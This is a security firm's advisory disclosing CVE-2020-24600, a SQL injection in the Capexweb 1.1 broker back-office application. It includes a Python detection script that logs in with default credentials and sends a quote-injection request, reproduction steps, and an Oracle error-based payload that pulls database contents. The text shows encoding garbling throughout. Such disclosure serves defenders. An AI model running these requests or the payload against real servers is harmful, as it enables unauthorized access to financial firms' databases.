How to Detect CVE- 2020-24600?

A new zero-day vulnerability, CVE-2020-24600, was discovered by Cyber Security Works in Shilpiย – Capexweb 1.1ย a multiexchange BackOffice Solution for Capital and Derivative Market brokers in India.

This vulnerability was discovered in our research lab on July 01, 2020. Our team has also released a script to detect this vulnerability.

You can use the following script to detect this vulnerability –

 

import os

import sys

import urllib

from urllib import error

from urllib import request

import ssl

from lxml import html

# Ignore SSL certificate errors

ctx = ssl.create_default_context()

ctx.check_hostname = False

ctx.verify_mode = ssl.CERT_NONE

def main():

ย ย ย  if(len(sys.argv) <= 1):

ย ย ย ย ย ย ย  print(“Usage: python capexweb.py <hostname> <port>”)

ย ย ย ย ย ย ย  return

ย ย ย  host = sys.argv[1]

ย ย ย  #default port 443

ย ย ย  port = “443”

ย ย ย  #initializing port

ย ย ย  if(sys.argv[2] != “”):

ย ย ย ย ย ย ย  port = sys.argv[2]

ย ย ย ย  #default path

ย ย ย  path = “/capexweb”

ย ย ย  URL = “https://” + host + “:” + port + path

ย ย ย  loginformURI = “/capexweb/capexmain_middle.htm”

ย ย ย  try:

ย ย ย ย ย ย ย  #Request to fetch login form parameters

ย ย ย ย ย ย ย  response = urllib.request.urlopen(URL + loginformURI, context=ctx)

ย ย ย ย ย ย ย  tree = html.fromstring(response.read())

ย ย ย ย ย ย ย  form = tree.find(‘.//form’)

ย ย ย ย ย ย ย  action = form.action

ย ย ย ย ย ย ย  params = {}

ย ย ย ย ย ย ย  params[“dfuserid”] = “admin”

ย ย ย ย ย ย ย  params[“dfpassword”] = “password”

ย ย ย ย ย ย ย  params[“dfcode”] = tree.find(‘.//input[@name=”dfcode”]’).value

ย ย ย ย ย ย ย  params[“dfparentdb”] = tree.find(‘.//input[@name=”dfparentdb”]’).value

ย ย ย ย ย ย ย  params[“dfparentip”] = tree.find(‘.//input[@name=”dfparentip”]’).value

ย ย ย ย ย ย ย  params[“dfinstaldrive”] = tree.find(‘.//input[@name=”dfinstaldrive”]’).value

ย ย ย ย ย ย ย  params[“B1″] = tree.find(‘.//input[@name=”B1”]’).value

ย ย ย ย ย ย ย  #Submission of login request and capturing the session-id

ย ย ย ย ย ย ย  loginURL = URL + action.replace(“..”,””)

ย ย ย ย ย ย ย  loginargs = urllib.parse.urlencode(params)

ย ย ย ย ย ย ย  params = bytes(loginargs, “utf-8”)

ย ย ย ย ย ย ย  req = urllib.request.Request(loginURL, params)

ย ย ย ย ย ย ย  response = urllib.request.urlopen(req, context=ctx)

ย ย ย ย ย ย ย  cookie = response.info()[“Set-Cookie”].split(“;”)[0]

ย ย ย ย ย ย ย  #Sending request to get forgotpassword mail along with the captured session-id

ย ย ย ย ย ย ย  forgotURI = “/servlet/capexweb.cap_sendMail?dfuserid=admin’&dfpanno=&dfsendmode=EMAIL&x=28&y=14&dfcaller=Actual”

ย ย ย ย ย ย ย  forgotURL = URL + forgotURI

ย ย ย ย ย ย ย  req = urllib.request.Request(forgotURL)

ย ย ย ย ย ย ย  req.add_header(“Cookie”, cookie)

ย ย ย ย ย ย ย  response = urllib.request.urlopen(req, context=ctx)

ย ย ย ย ย ย ย  response = str(response.read())

ย ย ย ย ย ย ย  if “ORA-01756” in response:

ย ย ย ย ย ย ย ย ย ย ย  print(“The {0} is vulnerable”.format(URL))

ย ย ย ย ย ย ย  else:

ย ย ย ย ย ย ย ย ย ย ย  print(“The {0} is not vulnerable”.format(URL))

ย ย ย  except urllib.error.URLError as e:

ย ย ย ย ย ย ย  print(e.reason())

if __name__ == “__main__”:

ย ย ย  main()

 

Impact

As of today,1390 trading companies use this software as their backend and if this vulnerability is exploited successfully, it may result in unauthorized usersโ€™ access to the database and result in a data breach. The vulnerability can potentially enable threat actors to disrupt trade as they move laterally within the network and cause a huge impact on the economy.

Detection

CVE-2020-24600 was detected manually. The GET request parameters in servlet /capexweb.cap_send mail is vulnerable to SQL Injection.

Disclosure

The vulnerability was disclosed to Shilpiย on July 01, 2020.

Timeline

Date

Description

ย July 01, 2020

Discovered in our research lab

ย July 17, 2020

Followed up with the Vendor

ย July 29, 2020

Followed up with the Vendor

October 7, 2020 ย  ย  ย  ย Informed CERT-in about the vulnerability
November 27, 2020 ย  ย  ย  ย CERT-in confirmed the vulnerability fix

 

Incident Analysis

The CVE-2020-24600 allows an adversary to initiate a SQL injection to access the contents of the database. As per the Google dork results (/capexweb/capexweb), currently, 1390 trading companies use this software.

Vendor

Product

Versions

Shilpi

Capexweb

Capexweb 1.1

Vulnerability Analysis

The send mail functionality in forgot password is vulnerable to SQL injection. An adversary can access the contents of the database.

Proof of Concept

Product: ย CAPExWeb (A multiexchange BackOffice Solution for Capital and Derivative Market brokers in India)

Product version: Capexweb 1.1

Vulnerable URL: http://www.shilpisoft.com/sunil/corporate.zip

Severity rating: High

CVSS V3 Score: 8.6

Steps to reproduce:

Step 1: Visit the /capexweb/capexweb URL on the server where the capexweb client is installed.

Step 2: Now, fill the login form with invalid credentials and click Submit.

Figure 1: Login form with invalid credentials.

Figure 2: Response shows the credentials are invalid.

Step 3: From error response, click on the โ€œForgot My Userid or Passwordโ€ link.

Note: We cannot navigate to the capforgotpassword.jsp directly. As the application takes the user id from the previously submitted request.

Figure 3: Forgot password page with user-id value submitted in login page. Now, click on the Send Request button, and you will receive a Response from the server for an invalid user id.

Figure 4: Replay of forgot password page with user-id value contains a single quote returns ORA string not properly terminated error message from the database.

Figure 5: The payload XORXXโ€™)) or%201=ctxsys.drithsx.sn (1, (select%20sys.stragg(distinct%20banner) %20from%20v$version)) — in request to retrieve the data from the database in error information.

Figure 6: The available databases in the Oracle database server.

Mitigation

We recommend the following fixes for this vulnerability.

  • Implement input validation for special characters in request parameters before passing to the database for processing.
  • Show a custom error message to restrict the users to see the cause for error at the server end.

Recommendation

We recommend that the vulnerability should be fixed as the severity rating is high and seeks immediate attention. As a workaround, we recommend the trading companies to restrict access to the URLs (/capexweb/servlet/capexweb.cap_sendMail).

Share This Post On